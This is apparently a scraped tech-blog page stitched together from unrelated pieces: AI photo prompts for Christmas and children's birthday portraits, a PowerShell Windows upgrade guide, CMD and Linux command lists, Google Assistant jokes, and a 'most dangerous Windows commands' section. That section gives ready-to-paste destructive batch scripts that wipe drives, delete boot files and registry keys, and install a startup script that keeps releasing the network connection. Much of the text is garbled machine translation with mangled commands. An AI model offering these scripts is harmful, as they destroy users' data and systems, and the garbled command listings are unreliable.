Join the channel Telegram belong to AnonyViet 👉 Link 👈

Ảnh mẹ và bé mang chủ đề Giáng Sinh, ghi lại khoảnh khắc người mẹ trẻ ngồi ôm con trên lòng, ánh nhìn trìu mến hướng về bé, toát lên sự yêu thương và kết nối tự nhiên. Em bé trong độ tuổi khoảng 6–18 tháng, diện trang phục ông già Noel tông đỏ – trắng trọn bộ, có thắt lưng đen và mũ Noel, biểu cảm ngây thơ đáng yêu, khoảnh khắc ngáp ngủ rất đời thường. Người mẹ mặc váy len đỏ đơn sắc, phong cách giản dị, tinh tế; mái tóc dài để tự nhiên, kết hợp băng đô Noel nhỏ tạo điểm nhấn không khí lễ hội.

Không gian studio được set up theo concept Giáng Sinh với gam màu đỏ – trắng chủ đạo, điểm xuyết lò sưởi giả, cây thông Noel, tuyết nhân tạo cùng các phụ kiện trang trí nhẹ phía sau. Khung hình chụp dọc (vertical), mẹ và bé là trung tâm, mang lại cảm giác ấm cúng và gần gũi. Góc máy ngang tầm ngực, bắt trọn khoảnh khắc sinh hoạt tự nhiên giữa hai mẹ con. Ánh sáng studio dịu, tông ấm, khuếch tán mềm, không tạo bóng gắt, giúp làn da và chất liệu vải Noel nổi bật. Bảng màu tổng thể đỏ – trắng – nâu ấm, gợi không khí Giáng Sinh gia đình, thân mật và giàu cảm xúc. Phong cách chụp Christmas mother and baby photography, cảm xúc chân thật, phù hợp album Noel gia đình. Photorealistic, high resolution, soft warm light, shallow depth of field, Christmas mother and baby studio photography style. Giữ nguyên khuôn mặt, màu da và thần thái như ảnh gốc.

Bức ảnh mẹ và bé mang chủ đề Giáng Sinh, ghi lại khoảnh khắc người mẹ trẻ ngồi trên ghế, nhẹ nhàng bế em bé khoảng 1–2 tuổi trong vòng tay. Cả hai cùng hướng ánh nhìn về ống kính, toát lên cảm xúc an yên, ấm áp và hạnh phúc tự nhiên.

Người mẹ diện váy len đỏ trơn, thiết kế giản lược, tôn vẻ dịu dàng, kết hợp băng đô Noel nhỏ xinh làm điểm nhấn không khí lễ hội. Bé mặc trọn bộ trang phục ông già Noel sắc đỏ – trắng, đội mũ Noel truyền thống, dáng ngồi vững vàng, biểu cảm ngộ nghĩnh đúng nét đáng yêu của độ tuổi toddler.

Không gian studio được dàn dựng theo concept Giáng Sinh với lò sưởi giả, khung tranh trang trí Noel, sách cũ và lớp tuyết nhân tạo phủ sàn, gợi cảm giác Giáng Sinh cổ điển, ấm cúng và hoài niệm. Khung hình chụp ngang (landscape), mẹ và bé nằm ở trung tâm, mang lại cảm giác sum vầy và gần gũi của gia đình. Góc máy đặt ngang tầm mắt, bố cục hài hòa, giữ trọn vẹn các chi tiết cơ thể. Ánh sáng studio dịu nhẹ, tông ấm, khuếch tán mềm, không tạo bóng gắt, giúp làn da mẹ và bé trở nên rạng rỡ. Bảng màu chủ đạo đỏ – trắng – nâu gỗ pha ánh vàng, thể hiện phong cách Giáng Sinh cổ điển, tinh tế. Phong cách chụp Christmas mother and baby studio photography, cảm xúc tự nhiên, phù hợp album và poster Noel gia đình. Photorealistic, high resolution, soft warm light, shallow depth of field, Christmas family studio photography style. Giữ nguyên khuôn mặt, màu da và thần thái như ảnh gốc.

Bức ảnh mẹ và bé mang chủ đề Giáng Sinh, ghi lại khoảnh khắc người mẹ trẻ nhẹ nhàng bế em bé khoảng 1–2 tuổi trong vòng tay. Cả hai cùng hướng ánh nhìn về ống kính với nụ cười tươi sáng, lan tỏa cảm giác ấm áp, hạnh phúc và gắn kết gia đình.

Em bé diện trang phục Noel sắc đỏ – trắng, đội mũ Giáng Sinh xinh xắn, gương mặt rạng rỡ, biểu cảm nhanh nhẹn, đúng nét hồn nhiên của độ tuổi toddler. Người mẹ lựa chọn trang phục tông đỏ hoặc gam trung tính sáng, kiểu dáng thanh lịch và trẻ trung, hài hòa với concept gia đình trong mùa lễ hội.

Phông nền là cây thông Noel lớn được trang trí đèn vàng ấm, kết hợp quả châu đỏ – trắng, tạo nên không gian studio hoặc cửa hàng trang trí Giáng Sinh thân thiện và ấm cúng. Khung hình chụp dọc (vertical), mẹ và bé đặt ở vị trí trung tâm, mang lại cảm giác gần gũi và kết nối cảm xúc. Góc máy ngang tầm mắt, ghi lại trọn vẹn sự tương tác tự nhiên giữa hai mẹ con. Ánh sáng tông ấm, ánh sáng studio mềm hòa cùng ánh đèn Noel phía sau tạo hiệu ứng bokeh lung linh. Bảng màu chủ đạo đỏ – trắng – xanh thông – ánh vàng, thể hiện không khí Giáng Sinh gia đình vui tươi và ấm áp. Phong cách chụp Christmas family photography chuyên nghiệp, cảm xúc chân thật, phù hợp album và poster Noel. Photorealistic, high resolution, soft warm light, shallow depth of field, Christmas mother and baby photography style. Giữ nguyên khuôn mặt, màu da và thần thái như ảnh gốc.

Bức ảnh mẹ và bé mang chủ đề Giáng Sinh, ghi lại khoảnh khắc người mẹ trẻ ngồi cạnh em bé khoảng 1–3 tuổi, cả hai cùng hướng ánh nhìn về phía cây thông Noel với nét mặt vui tươi, tò mò và tràn đầy hạnh phúc.

Người mẹ diện áo len dày màu kem, phong cách mùa đông giản dị, tinh tế; mái tóc xoăn nhẹ buông tự nhiên, kết hợp nụ cười hiền mang lại cảm giác ấm áp. Em bé mặc áo len đồng điệu tông kem, ôm một chú thú bông nhỏ, ngồi sát bên mẹ, gương mặt ngây thơ, đáng yêu đúng nét của độ tuổi toddler.

Không gian được dàn dựng trong studio theo concept Giáng Sinh ấm cúng, nổi bật với cây thông Noel trang trí đèn vàng, ruy băng đỏ cùng những quả châu lấp lánh. Phía sau là các chi tiết mùa đông như gấu bông, chăn len và phông nền ngôi nhà tuyết, gợi cảm giác gia đình gần gũi pha chút cổ tích. Bố cục chụp ngang (landscape), mẹ và bé đặt lệch về bên trái khung hình, trong khi cây thông Noel chiếm phần phải, tạo chiều sâu và sự cân đối. Góc máy ngang tầm mắt, bắt trọn khoảnh khắc tương tác tự nhiên giữa hai mẹ con. Ánh sáng studio dịu nhẹ, tông ấm, hòa cùng ánh đèn Noel tạo hiệu ứng bokeh tròn lung linh. Bảng màu chủ đạo kem – đỏ – xanh thông – ánh vàng, thể hiện không khí Giáng Sinh nhẹ nhàng, tinh tế và đầy cảm xúc. Phong cách chụp Christmas mother and toddler photography theo hướng lifestyle – fine art, giàu cảm xúc tự nhiên.

Bức ảnh mẹ và bé mang chủ đề Giáng Sinh, ghi lại khoảnh khắc người mẹ trẻ ngồi trên ghế sofa, nghiêng người nhìn sang con với nụ cười mềm mại, ánh mắt chan chứa sự yêu thương.

Em bé trong độ tuổi khoảng 1–3 tuổi ngồi sát bên mẹ, đội mũ Noel sắc đỏ – trắng, mặc áo nỉ trắng đơn giản, gương mặt hồn nhiên đáng yêu, trên tay cầm món ăn nhẹ hoặc một phụ kiện nhỏ tạo cảm giác rất đời thường. Người mẹ diện áo nỉ trắng đồng điệu với bé, mang phong cách gia đình tối giản, trẻ trung và ấm áp.

Không gian được set up trong studio Giáng Sinh trong nhà, nổi bật với cây thông Noel cao trang trí ngôi sao vàng trên đỉnh, vòng nguyệt quế treo tường và dòng chữ “Merry Christmas” phía sau làm điểm nhấn. Xung quanh là túi quà Noel, hộp quà đỏ cùng dây đèn nhiều màu đặt dưới sàn, tạo hiệu ứng ánh sáng lung linh và sinh động. Bố cục chụp dọc (vertical), mẹ và bé được sắp xếp lệch nhẹ khỏi trung tâm khung hình, mang lại cảm giác tự nhiên như một khoảnh khắc sinh hoạt thường ngày. Góc máy ngang tầm mắt, ghi lại sự tương tác thân mật giữa hai mẹ con. Ánh sáng studio dịu, kết hợp ánh đèn trang trí tạo lớp màu nhẹ, không quá gắt, gợi không khí Giáng Sinh ấm cúng. Bảng màu chủ đạo trắng – đỏ – xanh thông – ánh vàng, thể hiện phong cách Giáng Sinh hiện đại, trẻ trung và đậm chất gia đình. Phong cách chụp Christmas mother and toddler lifestyle photography, cảm xúc chân thật và gần gũi.

Join the channel Telegram belong to Anonyviet 👉 Link 👈

Preserve the authentic face and natural expression from the uploaded photo, without altering any facial details. Generate an AI birthday photoshoot of a toddler boy (around 1–3 years old). He is cheerfully seated on a classic white pedal car, dressed in a cream-toned romper with button accents and a charming beige hat featuring floppy dog ears. His bright smile and sparkling eyes radiate pure joy. The setting captures a warm birthday scene: a garland of triangular flags in earthy shades of brown, beige, and orange, balloons in soft orange and metallic bronze, and a chalkboard inscribed with “Happy Birthday.” Plush teddy bears are thoughtfully placed around, while a small cake and toy donuts rest nearby to enhance the celebratory feel. Behind him, the number “1” is displayed to mark his age. The overall mood is inviting, cozy, and playful, with gentle studio lighting highlighting a heartwarming and memorable birthday moment.

Create a superhero-themed birthday photoshoot for a baby, keeping the real face and natural expression from the uploaded photo unchanged. The child is dressed in an adorable mini Spider-Man costume, featuring the signature red-and-blue suit with the spider emblem on the chest. He sits happily on a small red armchair, smiling with joy. Beside him stands a large red foil balloon shaped like the number “2,” decorated with Spider-Man designs. Surrounding the scene are Spider-Man plush toys and playful props. The backdrop is a glowing night city skyline with tall buildings and shining windows, accented by Spider-Man logos. The overall mood is lively, colorful, and full of superhero spirit, perfectly capturing a fun birthday moment.

Design a superhero-themed birthday photoshoot featuring a baby, using the uploaded photo for the face while preserving every natural detail and expression. The child is dressed in a mini Thor outfit, complete with silver chest armor, a flowing red cape, and a toy Mjolnir hammer. He sits proudly on a small grey armchair, smiling with confidence. Beside him stands a large silver foil balloon in the shape of the number “2,” decorated with lightning motifs and Thor emblems. Surrounding the scene are plush toys along with themed props like miniature hammers and playful lightning bolts. The backdrop presents a dramatic city skyline under a stormy sky, illuminated by glowing thunder and flashes of lightning. The overall mood is powerful, magical, and heroic, perfectly capturing the essence of a birthday celebration.

A joyful toddler is seated on a bright yellow toy excavator set atop a small mound of real soil, dressed in a full construction-themed outfit: white safety helmet, neon yellow reflective vest, striped pants, and sturdy brown work boots. In his hands, he holds a miniature yellow sign that reads “Excavator Ahead.” The backdrop features pastel blue and beige walls, a colorful “HAPPY BIRTHDAY” banner, and a balloon arch in bold black and yellow. Just behind him sits a birthday cake decorated with tiny construction trucks and topped with a golden “2 Year” sign. Toy dump trucks and excavators are arranged around the setup, enhancing the playful building-site theme. Keep every outfit detail, prop, cake, soil, and decoration exactly as described — only replace the child’s face with the one from the uploaded reference photo, ensuring all natural features and expressions remain intact. The overall look should be high-resolution, brightly lit, festive, and full of cheerful construction birthday spirit.

A sweet little girl (around 2–5 years old) styled in a Barbie-inspired look, dressed in a pastel pink short dress crafted from airy tulle and soft silk. The bodice features delicate pleats, while a large bow is tied elegantly at the back. She sits gracefully atop a giant white birthday cake, its smooth cream surface adorned with pink icing flowers and oversized satin ribbons in vivid pink-magenta. In her hands, she holds a bunch of pastel pink balloons, set against a vibrant pink backdrop. Behind her stands an enormous glossy satin bow in deep pink, adding to the glamorous feel.

Her long, wavy dark-brown hair is left natural, accessorized with tiny pastel pink bow clips. Her skin is fair and radiant, with a soft natural blush, glossy light-pink lips, and eyes full of innocence (without heavy makeup). On her feet are dainty white shoes paired with knee-high white socks. Golden confetti sparkles gently in the air, while soft, even studio lighting completes the dreamy, glamorous, and childlike Barbie birthday party atmosphere.

Preserve the real face and natural expression from the uploaded photo, without altering any facial features. A little girl celebrating her 1st birthday, dressed in a pastel tutu dress with a matching bow headband, sits surrounded by colorful balloons. She holds a shiny number “1” balloon, with a birthday cake topped with candles placed nearby. The atmosphere is playful, lively, and vibrant, captured in bright natural light. Aspect ratio: 9:16.

Transform the uploaded photo of a young girl into a high-quality, professional-style image resembling a fashion magazine studio photoshoot. She is sitting casually, dressed in a vibrant rainbow-colored ballgown, with her hair neatly styled and adorned with clips and cute ribbons. The setting feels like a whimsical garden, filled with pastel flowers in various sizes — large, medium, and small — surrounding her. Around the scene are playful details such as dolls, candies, birthday cakes, and an abundance of pink and white balloons, creating a dreamy, childlike yet elegant atmosphere.

A baby birthday party scene featuring a little girl wearing the same white tulle dress with ribbon details, matching shoes, and a party hat as in the reference. She stands on a podium beside a tall birthday cake decorated with a bow and a glowing number “5” on top. The background is styled with cream-colored balloons, arches, and elegant birthday decorations.

Her face must match the uploaded photo exactly (do not alter facial features), but her hairstyle is modified: long wavy hair down to the waist, styled in soft, natural curls.

Style: Cinematic, ultra-realistic, elegant birthday photography
Lighting: Warm indoor glow with a dreamy, soft atmosphere
Mood: Festive, joyful, refined
Shot: Full body, side angle, eye-level perspective
Focus: The uploaded face is the top priority; hairstyle should follow the description
Aspect ratio: 9:16
Outfit: White tulle dress with ribbon details, party hat, matching birthday shoes
Props: Birthday cake with bow and glowing number, teddy bear, balloons, and arches

Keep my true face exactly as shown in the uploaded photo, with no changes to facial features. Create a lifelike 8K portrait of a 5-year-old girl (based on the provided image). The scene is a crisp, high-speed studio capture of a spontaneous “cake smash” moment. She wears a tender smile, glowing with happiness, while joyfully diving into a small, vibrant birthday cake, her skin and clothes smeared with frosting. Behind her is a pastel-toned backdrop adorned with a few floating balloons. The highlight is her frosting-smeared yet sweet and delighted expression, freezing a playful, heartwarming moment in time.

A lively baby birthday photoshoot with a festive setup. The baby (use the uploaded photo) sits happily on the floor, dressed in a light blue T-shirt and denim shorts, raising both hands in excitement with a bright, joyful smile. On the baby’s head is a sparkling golden party hat topped with a fluffy blue pom-pom trim and featuring a bold white number “2.” Surrounding the scene are scattered blue and white balloons, adding to the playful mood. Beside the baby stands a large white cutout spelling “TWO” with a soft blue highlight. Behind, a “HAPPY BIRTHDAY” banner in pastel blue with striking golden letters is displayed against a clean grey studio backdrop. The arrangement is modern, simple, and celebratory, capturing the happiness of this special milestone. Keep every detail identical — only substitute the baby’s face with the one from the uploaded photo, ensuring all natural features and expression remain intact.

A charming baby birthday photoshoot styled with a minimalist cake smash theme. The baby (use the uploaded photo) sits on the floor, dressed in a light blue T-shirt and navy shorts, beaming with joy as they reach toward a simple white-frosted cake displayed on a sleek white stand. Atop the cake is a tall blue candle in the shape of the number “2,” glowing softly to mark the special celebration. Light blue balloons are scattered playfully around the floor, enhancing the cheerful mood. Behind the baby, a pastel-blue “HAPPY BIRTHDAY” banner with golden lettering hangs against a plain grey studio backdrop. The entire scene is modern, clean, and delightful, drawing focus to the baby’s radiant smile. Keep all details exactly as described — only replace the baby’s face with the one from the uploaded photo, ensuring every natural feature and expression is preserved.

Windows 7 will no longer receive patch updates on January 14, 2020, this is the time for you to Update to Windwos 10. You can Update from Windows 7 to Windows 10 by downloading the ISO file and then clicking setup step by step. display. If you don’t want to see the boring scene of clicking next, you can use the PowerShell command to upgrade Windows 7 to Windows 10. The update process will be fully automated. You just need to copy the command and press Enter.

Now is the best time to upgrade your system to Windows 10, especially if you are using Windows 7 but updating to Windows 10 can get you a free license. Just a super simple PowerShell script that makes the upgrade easy.

Update Windows 7 to Windows 10 with the PowerShell command

This script only support for Windows 7 SP1, if you have not upgraded to SP1 then download the package update by Microsoft.

Now you click on the . button Starttyping PowerShellright click select Run as Administrator.

For security reasons, Windows will block some PowerShell commands. You need to change some registry keys. In the PowerShell window type the below command and Enter.

Set-ExecutionPolicy Unrestricted

On the message screen type: Y (note the Y on the flower), press Enter.

You can now close the PowerShell window.

Generate Windows 7 to Windows 10 upgrade script

You open notepad, copy the script to update Win 7 to Win 10 below, save it as a file: upgrade.ps1

Or you can Download file upgrade.ps1 about computers.

$dir = "c:\temp"
mkdir $dir
$webClient = New-Object System.Net.WebClient
$url = "https://go.microsoft.com/fwlink/?LinkID=799445"
$file = "$($dir)\Win10Upgrade.exe"
$webClient.DownloadFile($url,$file)
Start-Process -FilePath $file -ArgumentList "/quietinstall /skipeula /auto upgrade /copylogs $dir" -verb runas

Start the upgrade

You Right-click the file upgrade.ps1 Select run as PowerShell.

You will see a PowerShell window informing you to allow Microsoft Windows to make changes to your system. You don’t have to worry about that. Everything is on the screen as if nothing happened.

To know exactly the Windows 10 upgrade is being done, you can open the Task Manager, via Tab Processes will see the process named Windows10UpgraderApp.exe running. Your system will automatically reboot when needed, and the Windows 10 installation will take care of itself, with no extra work required.

After the background installation of Windows 10 is completed, you will see a message similar to the one below:

You need to click 1 or 2 half steps to access the Desktop of Windows 10. When accessing Windows 10, one of the following things will happen:

One is: all your data and apps will be in their original location. Since this is an upgrade from Windows 7, instead of doing a reinstall from scratch).

Or: Maybe some programs won’t work, because the chapter is compatible with Windows 10. You can find and install this software in a different version. But most of the software that works on Win 7 can run on Win 10.

Reset PowerShell’s Execution policy

Remember in the first step, we allowed file execution from PowerShell? Now turn off this feature for security. Open PowerShell with Administrator rights and enter the command:

Set-ExecutionPolicy Restricted

Windows 10 installed will be the latest version released by Microsoft, you do not need to update further. If you want to install additional software, you should use chocolatey to install multiple software at the same time for fast.

Via: lifehacker.com

Command Prompt is the default Windows command-line compiler and is commonly referred to as CMD. The first version of cmd was developed by Therese Stowell for Windows NT. The maximum length of string that can be used in the command prompt is 8191 characters for the Operating System Windows XP and above and is 2047 characters for earlier versions such as Windows 2000 and Windows NT 4.0, etc. introduce you to the cool tricks with CMD that you did not know.

In this article, AnonyViet introduces some important Windows CMD commands that can definitely help increase your performance and productivity when working on Command prompt. Check out some tips and tricks along with those commands.

Also you can see some funny tricks with CMD.

16 good commands and tricks with CMD on Windows

Keyboard shortcuts on CMD

Remembering keyboard shortcuts will increase your productivity. So CMD has some shortcuts to help you quickly manipulate commands that you need to know:

• Autofill folder names: [ Tab ]
• Repeat last executed command: [ Mũi tên lên hoặc F3 ]
• Automatically enter the last executed command character by character: [ Mũi tên phải ]
• Show history of executed commands: [ F7 ]
• Delete the contents of the current line: [ Escape ]
• Ignore the current line you are typing or the command being executed: [ Ctrl + C ]
• Delete the word to the left of the insertion point: [ Ctrl + Backspace ]

Open CMD with path as current directory

Command to move to current directory on CMD is cd đường-dẫn-cần-đến. However if you are in a subdirectory and the path is quite long. Open that folder with Windows Explorer and in the address bar type the command cmd then press Enter.

Then, the CMD window will open and the current path will be the open directory of Windows Explorer.

Create secure folders – impregnable

If you want others to tamper with your Data, you can create a safe folder with the help of this command. The directory is created with this command cannot be copied or moved to another location or deleted by anyone. Launch CMD where you want to create folder and execute below command.

• To create a directory: md Aux\ This command will create a Secure folder named Aux”
• To delete a folder: rd Aux\ This command will delete the folder created with the above command, make sure the folder is empty when you delete, otherwise the system will not allow to delete the folder with the command”

Hide folder

If you have some confidential data and don’t want to share it with anyone then this command will be very useful. You can hide the folder with the help of this command and no one can see it unless you unhide it. Hidden folders won’t show even if Option is turned off”Hidden items“ get Options – Views.

• To hide a folder: attrib +h +s +r Tên-thư-mục-cần-ẩn Eg: [attrib +h +s +r D:\AnonyViet]
• To unhide a folder: attrib –h –s –r Tên-thư-mục-cần-bỏ-ẩn

CMD command to shutdown, reboot, Logoff

If you want to shutdown, reboot and logout using CMD below commands will help you to do that.

• Restart or shut down the computer using the interface window: [ shutdown /i ]
• Put the machine in Hibernate mode immediately: [ shutdown /h ]
• Turn off the computer completely: [ shutdown /p ]
• Sign out of the current account: [ shutdown /l ]
• Turn off the computer: [ shutdown /s ]
• Shutdown in the specified timer: [ shutdown /s /t xx ] (XX is the time in seconds)
• Abort strange boot/shutdown during timeout: [ shutdown /a ]
• Reboot with advanced boot options: [ shutdown /r /o ]
• Show message before shutdown/restart: [ shutdown / c “Nội dung Thông báo” ]

Customize font size, color, size in CMD

If you are bored with the black and white CMD window then here is good news for you, you can customize it with the help of commands. You can change the title, prompt name, text color and background color of CMD with the commands below.

• To change the title of CMD: for example title tên-tiêu-đề, Eg: title AnonyViet
• To change the name of the command prompt: prompt tên-cần-đổi:, Eg: [prompt AnonyViet:]
• To change the background color and font: [Color mã-màu] Eg: [Color 03] (Type color /? to see a list of color codes)

If you want to change the font, font color, font size… you right-click on the title bar, select Properties, then there will be its own preferences window.

Create wifi hotspot to share connection

If your computer is connected to Wifi, you can use your computer to create a Wifi hotspot for other devices. Proceed as follows:

• Create hotspot: netsh wlan set hostednetwork mode=allow SSID=WIFI-Name Key=Password of Wi-Fi. (Password must be 8 characters or more).

Eg: netsh wlan set hostednetwork mode=allow SSID=AnonyViet Key=123456789

• Start hotspot: [netsh wlan start hostednetwork]
• Turn off hotspot: [netsh wlan stop hostednetwork]

Remove old command, clean CMD . screen

If there is too much content on the CMD screen, you want to delete it to enter other commands for easy management. Please use the command cls. Immediately the cmd screen will return to black and no text.

List of programs installed on Windows

You can get a complete list of programs installed on your machine by typing a simple command. The time to fetch the program list will completely depend on the number of programs installed in the machine.

• To get a list of Installed Applications: wmic product get name

List current directory

If you want to see how many subdirectories, files, and creation dates are inside the current directory, use the command. dir.

• To get the directory listing: dir
• To get the sorted directory list: dir /b | sort
• To list the sorted list of folders and files with last modified date and time: dir /s | sort
• To get a sorted list of files with complete file paths: dir /b /s |sort

Export the results to a file

type > log.txt After each command, you will save the results to the log.txt file.

For example, we have the command dir is the command to list the current directory. Now we type dir > log.txt. Then cmd will create a file named log.txt and the content will contain the names of the directories listed by dir.

If you want to list directories with Vietnamese accents, use the following command:

chcp 65001
dir /b > log.txt

(/b lists names only)

View IP address, network information

• View computer name: hostname
• View IPs: ipconfig
• View detailed network information: ipconfg /all
• View MAC address: getmac

Check the quality of the internet, find the website IP

Command ping is the command to check the transparency of the network connection.

To find the IP of a website, type the command ping địa-chỉ-website. Eg: ping anonyviet.com

If no error request time out your home network connection to anonyviet.com is quite good. Index time The smaller the number, the faster the connection.

List the running processes on Windows

This is one of the best commands if you want to get a complete list of tasks running on your machine. The command will provide a list of all running processes with full details like Task name, session name, session number, memory usage status along with the username that started the task.

• To get a list of running Tasks: tasklist
• To get a detailed list of running tasks: tasklist /v

Execute multiple commands at the same time on one line

We can execute multiple commands in one command line using command separator && and the commands will execute in turn in the order in which they are written.

To execute multiple commands in one line: [ CommandA && CommandB && CommandC] .

Eg: Ping anonyviet.com && Color 03 && dir this command will ping AnonyViet’s IP, change the background color and give a list of directories.

Google Assistant is a powerful tool that can make your life easier in many ways. However, it’s not just about productivity and practicality. Here are some fun things you might not have known about Google Assistant like listening to jokes, playing games, and finding easter eggs.

How to launch Google Assistant

These commands will work on a variety of Google Assistant-enabled devices, including iPhones, iPads, Androids, smart speakers, and smart displays. You don’t need devices like Nest Home or Google Home to launch Google Assistant, simply use your phone or tablet.

To get started, simply launch Google Assistant and say the commands below whenever the device is listening. For speakers and screens, just say “Hey, Google” to call up the Assistant.

On Android, there are several ways you can launch Google Assistant. The simplest way is to say “OK, Google” or “Hey, Google”. On newer devices, you can launch Google Assistant by swiping up from the bottom left or right corner of the screen.

On iPhone and iPad, you must install the Google Assistant app, then launch it from the home screen. After you open the app, say “OK, Google” or tap the microphone icon and Google Assistant will start listening to you. If you don’t know how activate Google Assistant in Vietnamese Please follow the instructions in the previous post.

Now, I’m going to show you some cool things you can do with Google Assistant right now.

Play with Google Assistant

You can ask or say the following jokes to get funny answers from Google:

• What goes up, but never comes down? What goes up, but never goes down?
• Do you know the muffin man?
• Why did the chicken cross the road? / Why chickens cross the road?
• Who let the dogs out? / Who let the dog out?
• What is your favorite dessert? / What is your favorite dessert?
• Do you like to exercise? / Do you like to exercise?
• Make me a sandwich. / Make me a sandwich.

You can also ask Google Assistant to tell you jokes. If you ask for a joke on a particular topic, Google will tell you.

Here are a few different ways you can ask:

• Tell me a joke. / Tell me a joke.
• Tell me a kid’s joke. / Tell me a children’s joke.
• Tell me a dad joke. / Tell me a joke from your father.
• Tell me a knock-knock joke. / Tell me a funny story.
• Tell me a pun. / Tell me a pun.
• Read poetry to me

Play with Google Assistant

If you can’t joke around with Google Assistant, there are also some games you can play. Google also doesn’t require downloading any apps, you just need to use your voice.

Here are some options:

• Are You Feeling Lucky?: Just say, “Hey, Google, I’m feeling lucky,” and a game of trivia will begin. You can play with one person or another group.
  
• Crystal Balls: Say “Hey, Google Crystal Ball” and be like Magic 8-Ball, then you can ask a yes or no question. Then Google will give you a cryptic response.
  
• Mad Libs: Say “Hey, Google, Play” Mad Libs,” and Google Assistant will ask you to choose a category, which you can do via voice or touch. The game will guide you to fill in the blanks and then will read you the final answer.
  
• Ding Dong Coconut: If you say, “Hey, Google, Play Ding Dong Coconut,” you can play a memory game that requires you to associate words with sounds. You have to remember which words go with which sounds and more words are added the longer you play.
  

To find more games, just explore game section of Google Assistant. There’s a ton to choose from, and they only require a Google Assistant-enabled device to play.

Google Assistant Easter Eggs

Google loves Easter Eggs, and Assistant is no exception. These aren’t actually jokes in the traditional sense, but there are some that are still very funny.

Try asking or saying any of the following:

• Do you like the iPhone?
• Do you like Android?
• Use the Force.
• May the Force be with you.
• Aren’t you a little short for a stormtrooper?
• I am your father.
• Talk like Yoda.
• Where in the world is Carmen Sandiego?
• Open the pod bay door.
• Do you know Hal 9000?
• How much wood would a woodchuck chuck if a woodchuck could chuck wood?
• How many roads must a man walk down?
• Where is Waldo?
• Who’s on first?
• You want the truth?
• What is the airspeed velocity of an unladen swallow?
• To be, or not to be?
• Mirror, mirror on the wall, who’s the fairest of them all?
• Do you want to build a snowman?
• What do you mean I’m funny?
• Are you afraid of the dark?
• Wherefore art thou, Romeo?
• What would you do for a Klondike bar?
• How many licks does it take to get to the center of a Tootsie Pop?
• Show me the money.
• Can you rap?
• Do you speak Morse code?

Don’t forget the Google assistant helps you too find songs by melody there.

The beauty of Google Assistant is that there’s so much it can do. I only give you typical commands. You need to chat or search for more Google Assistant jokes if you want to know all about it. You can also search for same cool thing on Chrome.

If you know some commands in Windows, then your work can be faster. But there are also dangerous commands on Windows that you should not try. So in this article, I will point out those dangerous commands so you can avoid them in the future.

The most dangerous commands that Windows users need to know

Format the hard drive

The following command is used to format the hard drive in windows, but if you have data on your hard drive, back up the data first and then run the command. If you run the command without backup, your data will be lost, so this is considered a dangerous Windows command for you.

rd/s/q/ D:\
rd/s/q/ C:\
rd/s/q/ E:\

Delete Files in System32

To run this command, open Notepad and paste the code below and set the file extension to .bat. After opening this file, double click the System32 file in the window to delete it and the computer will crash.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Delete all system files

Save the file with the .bat extension by pasting the following code into Notepad. Now if you run that file, the computer may crash. Please backup your computer’s data before running this file.

del*.*

Delete Registry

First you need to backup registry system before executing the next command. Now, paste the following code into Notepad and save it with the .bat extension. Double-click that .bat file to open it and the registry will crash.

@echo off
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

Turn off the Internet permanently

The following command is used to turn off the Internet permanently on your computer. Save the file with the .bat extension by pasting the following code into Notepad. Now run the command by double clicking on that file. This command is very dangerous because it can disable the Internet of the system.

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:window

Windows Blue Screen of Death

Save the file with the .bat extension by pasting the following code into Notepad. Now double click on that file to open it.

@echo off
delete %systemdrive%\*.* /f /s

Change file extension

To change the file extension on the computer, we will use the following command. In this command, replace real_extension_name with the old one of the file and then replace change_extension_name with the new file extension. Save the file with the .bat extension in Notepad.

Eg:

REN *.avi *.txt REN *.mkv *.txt REN *.BAT *.txt REN *.doc *.txt REN *.JPEG *.txt REN *.lnk *.txt

syntax: REN *.real_extension_name *.Change_Extension_name

Those are all the most dangerous commands in windows that you need to know. Alternatively, you can also speed up the system using cmd here.

To help you manage vps and linux servers more effectively, today I would like to guide you with some basic commands to administer the server.

Basic Commands for VPS and Linux Server

1. System related commands

exit: exit the command line window.
logout: same exit.
reboot: reboot the system.
halt: shutdown.
startx: start xwindows mode from a terminal window.
mount: mount the filesystem from a storage device into the home directory tree.
unmount: opposite to mount command.
/usr/bin/system-config-securitylevel-ui: Configure Firewall and SELinux

2. Command to view information

cat /proc/cpuinfo: Find CPU specifications
cat /proc/meminfo: Memory and information exchange page
lspci: View motherboard information
uname -r: View kernel version
gcc -v: Which compiler version do I have installed.
/sbin/ifconfig: View your IP addresses.
netstat: see all connections.
lsmod: What is loaded kernel module
last: see who has logged into the system
DF: View hard drive space
free -m: view memory usage
netstat -an |grep :80 |wc -l: see how many connections to port 80

3. Commands to manipulate files

ls: get a list of all files and directories in the current directory.
pwd: output the path of the working directory.
CD: change working directory to a new directory.
mkdir: create a new directory.
rmdir: delete empty directory.
cp: copy one or more files to a new directory.
mv: rename or move files or folders.
rm: delete file.
WC: count the number of lines, the number of characters… in the file.
touch: create a file.
cat: view file contents.
Because: start the vi text editor.
DF: check disk space.
du: view disk space used for certain files
tar -cvzpf archive.tgz /home/example/public_html/folder: compress a folder
tar -tzf backup.tar.gz: list compressed files gz
tar -xvf archive.tar: extract a tar file
unzip file.zip: extract the .zip file
wget: download a file.
chown user:user folder/ -RED: Change the owner for the entire directory to the file.

4. Commands when working on terminal

clear: clear the command line window.
date: view system date and time.
find /usr/share/zoneinfo/ | grep -i pst: see time zones.
ln -f -s /usr/share/zoneinfo/Asia/Ho_Chi_Minh /etc/localtime: Change the server time zone to Vietnam time zone
date -s “1 Oct 2009 18:00:00”: Adjust the time
calories: view system calendar.

5. System management command

rpm: check if a package is installed or not, or install a package, or use to remove a package.
ps: check system running process.
kill: stop the process when the process is suspended. Only the super-user can stop all processes, and the normal user can only stop the processes he created.
top: displays the activity of processes, especially information about system resources and the use of those resources by each process.
pstree: displays all processes as a tree.
sleep: for the system to stop working for a period of time.
useradd: create a new user.
groupadd: create a new user group.
passwd: change the password for the user.
userdel: delete created user.
groupdel: delete the created user group.
